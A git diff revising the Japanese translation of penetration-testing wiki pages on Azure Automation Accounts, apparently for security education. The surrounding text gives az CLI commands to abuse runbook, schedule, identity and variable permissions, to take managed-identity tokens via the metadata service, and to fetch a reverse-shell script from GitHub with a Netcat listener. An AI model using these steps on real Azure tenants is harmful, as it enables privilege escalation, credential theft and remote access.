diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index b2eeac926..78cdb388c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,18 +10,18 @@ ../az-services/az-automation-accounts.md {{#endref}} -### Hybrid Workers +### Hybrid Workers Group 攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これは、オンプレミスのマシン、別のクラウドのVPC、またはAzure VMである可能性があります。 さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。 > [!TIP] -> **メタデータサービス**は、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。 +> **メタデータサービス**は、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)を持っていることを覚えておいてください(**`IDENTITY_ENDPOINT`**)。 ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -要約すると、これらの権限は**オートメーションアカウント内でランブックを作成、変更、実行する**ことを可能にし、これを使用して**オートメーションアカウントのコンテキストでコードを実行し、割り当てられた**マネージドアイデンティティ**に特権を昇格させ、オートメーションアカウントに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。 +要約すると、これらの権限は**オートメーションアカウント内でランブックを作成、変更、実行する**ことを可能にし、オートメーションアカウントのコンテキストで**コードを実行**し、割り当てられた**マネージドアイデンティティ**に特権を昇格させ、オートメーションアカウントに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。 権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、オートメーションアカウント内のランブックのコードを次のように変更することを許可します: ```bash @@ -58,13 +58,13 @@ az automation runbook start \ az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です。 +Runbookが作成されていない場合、または新しいRunbookを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のID**を割り当てることを許可します: +この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -82,7 +82,7 @@ az rest --method PATCH \ 権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができます(あまりステルスではありません)。 -スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先であることに注意してください。 +スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先です。 ```bash ## For linux az automation schedule create \ @@ -104,7 +104,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラーを割り当てることができます: +次に、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラを割り当てることができます: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可します(これはGithubを例にしています): +この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可します(以下はGithubを例としています): ```bash az automation source-control create \ --resource-group \ @@ -194,16 +194,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限昇格が可能**になります。 +この操作により、Githubリポジトリから自動的にランブックがAutomation Accountにインポートされ、他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。 -さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザー管理のアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。 +さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。 > [!TIP] > 作成後にソース管理のリポジトリURLを変更することはできないことに注意してください。 ### `Microsoft.Automation/automationAccounts/variables/write` -権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。 +権限**`Microsoft.Automation/automationAccounts/variables/write`**を持つことで、次のコマンドを使用してAutomation Accountに変数を書き込むことが可能です。 ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -223,7 +223,7 @@ az rest --method PUT \ ### 状態構成の妥協 -**完全な投稿を確認してください:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**完全な投稿を確認するには:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - ステップ 1 — ファイルの作成 @@ -257,7 +257,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 構成ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。 -- ステップ 6 — ペイロードのホスティングとリスナーの設定 +- ステップ 6 — ペイロードのホストとリスナーの設定 PythonのSimpleHTTPServerがペイロードをホストするために起動され、Netcatリスナーが着信接続をキャプチャします。 ```bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index bd36b98b7..cc9a9a3fd 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,31 +4,29 @@ ## 基本情報 -Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などの**タスクを自動化**するのに役立ちます。これにより、**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供し、自動化**ジョブ**を実行できるようにし、インフラストラクチャをコード(IaC)として扱い、クラウドリソースの管理における効率性と一貫性を向上させます。 +Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などの**タスクを自動化**するのに役立ちます。これにより、Azureおよびオンプレミス環境全体での効率と一貫性が向上します。**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供し、自動化**ジョブ**を実行します。 ### 設定 - **資格情報**: パスワードは自動化アカウント内のRunbook内でのみアクセス可能で、**ユーザー名とパスワードを安全に保存する**ために使用されます。 -- **変数**: Runbookで使用できる**構成データ**を保存するために使用されます。これにはAPIキーのような機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。 +- **変数**: Runbookで使用できる**構成データ**を保存するために使用されます。これにはAPIキーなどの機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。 - **証明書**: Runbookで使用できる**証明書**を保存するために使用されます。 - **接続**: 外部サービスへの**接続情報**を保存するために使用されます。これには**機密情報**が含まれる可能性があります。 - **ネットワークアクセス**: **公開**または**プライベート**に設定できます。 -## Runbooks & Jobs +### Runbooks & Jobs Azure AutomationのRunbookは、クラウド環境内で**タスクを自動的に実行するスクリプト**です。RunbookはPowerShell、Python、またはグラフィカルエディタで記述できます。これにより、VM管理、パッチ適用、コンプライアンスチェックなどの管理タスクを自動化できます。 **Runbooks**内の**コード**には**機密情報**(資格情報など)が含まれる可能性があります。 -`Automation Accounts` --> `